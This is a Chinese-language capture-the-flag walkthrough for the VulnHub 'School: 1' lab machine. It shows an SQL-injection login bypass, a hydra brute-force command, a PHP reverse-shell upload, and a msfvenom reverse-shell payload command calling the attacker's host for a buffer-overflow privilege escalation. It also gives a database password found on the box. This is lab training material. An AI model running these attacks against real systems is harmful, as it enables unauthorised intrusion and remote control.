school
一、靶机介绍
靶机下载地址:[School: 1 ~ VulnHub](https://www.vulnhub.com/entry/school-1,613/#:~:text=Name: School: 1. Date release: 4 Dec 2020. Author: foxlox.)
攻击方法:
- 主机发现
- 端口扫描
- 信息搜集
- SQL注入
- 信息泄露
- 文件上传
- 离线密码破解
- 在线密码破解
- WINE
- 缓存区溢出
- EXP代码编写
- 本地提权
二、主机发现
arp-scan -l |
发现靶机地址为10.0.2.19
三、端口扫描
nmap -p- -Pn 10.0.2.19 |
发现靶机22,23,80端口开放
23端口有点像windows的远程服务
22和80分别还是对应的是ssh和web服务
四、登录框密码爆破
访问80端口,发现是个登录框,可以使用hydra爆破也可以使用万能密码登录
4.1、万能密码登录
登录框输入这个,就可以登录成功
'or 1=1-- - |
4.2、hydra爆破
这里也可以使用burp爆破,但是由于返回值只是一个3,使用burp爆破,密码正确时状态和错误的一样都是200,并且返回长度也和错误的一样,相当于正确的账号和密码淹没在错误中,不容易看到
使用hrydra提交表格方式进行爆破,随便输入一个查看响应包,
发现错误时返回信息:是数字3
提交类型是:post
可以在请求类型中可以看到原始类型:username=admin&password=admin
hydra 10.0.2.19 http-form-post "/student_attendance/ajax.php?action=login:username=^USER^&password=^PASS^:\r\n\r\n3" -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt -vV -f |
解释:
10.0.2.19 :是目标ip的
http-form-post:POST提交方式
“/student_attendance/ajax.php? “:后台登录的地址
username=^USER^&password=^PASS^: ^USER^和^PASS^都是占位符
\r\n\r\n3 : 报错信息由于服务器返回起始数据”\r\n\r\n“,实际内容是3,\r\n在html中对应换行,意思就是返回值如果是3的话,就说明这个是错误的需要继续爆破
-vV 显示详细信息
-f 破解出一个就停止
账号是admin
密码是admin123
五、源代码信息泄露
登录进入后查看源代码
发现一个文件上传的路径
http://10.0.2.19/student_attendance/assets/uploads/ |
可以直接访问,该目录下是空
继续查看源代码,发现一个新的路径
访问该路径
http://10.0.2.19/student_attendance/index.php?page=site_settings |
在最下面发现一个文件上传点
六、文件上传
尝试后发现可以上传php代码,直接将kali自带的php反弹代码拿来使用
注意别忘记反弹shell中的反弹地址更改为kali的
vim php-reverse-shell.php |
内容随便填,提前监听端口,上传成功后,直接就监听成功了,不用在点击触发了
成功接收
七、主机信息搜集
查看网站目录下是否存在敏感信息,发现存在一个数据库的php代码,查看源代码发现用户名和密码
cd /var/www/html/student_attendance |
fox
trallalleropititumpa
连接数据库
mysql -u fox -p |
在数据库中查看到了两对账号和密码
直接在线MD5解密
jsmith@sample.com |
但是发现没什么用,ssh连接不上
查看一下mysql的运行权限,如果是root权限运行的话,可以通过mysql尝试提权,但是发现并不是root权限运行的
ps -ef |grep mysql |
查看账号,发现有三个用户有bash权限,发现分别是root、ppp、fox这三个
访问这两个用户目录,在fox下发现第一个flag
cat /home/fox/local.txt |
八、提权
8.1、信息搜集
查看root目录下的权限,发现root目录下,存在win脚本,并且查看win的内容,发现有个exe文件,exe是windows的执行文件的后缀,并不是linux系统的
cd /root/win/.wine |
发现.wine这个目录下,z:这个类似于windows下的盘符,映射到linux下的根目录了
cd z: |
在之前win文件中查看可执行文件在这个目录下
cd /opt/access |
使用ps命令查看进程,发现这个程序是root用户执行的
8.2、缓存区溢出
这里我并没有进行调试,直接用的网上poc进行的提权
调试过程参考:
26 SCHOOL: 1靶场(完成) (yuque.com)
大概方法如下,这些脚本都是在kali中运行,并且将ip改为靶机的ip后,运行一下
#/usr/bin/python |
#/usr/bin/python |
使用msf生成payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.4 LPORT=4444 -f c -b "\x00\x4d\x4f\x5f\x79\x7e\x7f" EXITFUNC=thread |
LHOST是反弹shell的ip,就是kali的ip
-f c 就是c语言
EXITFUNC=thread 就是程序崩溃时以线程的方式退出
将这下面的shellcode替换为自己生成的,将ip换成靶机的ip
#!/usr/bin/python |
nc -lvnp 4444 # 监听端口 |
type proof.txt # 查看flag |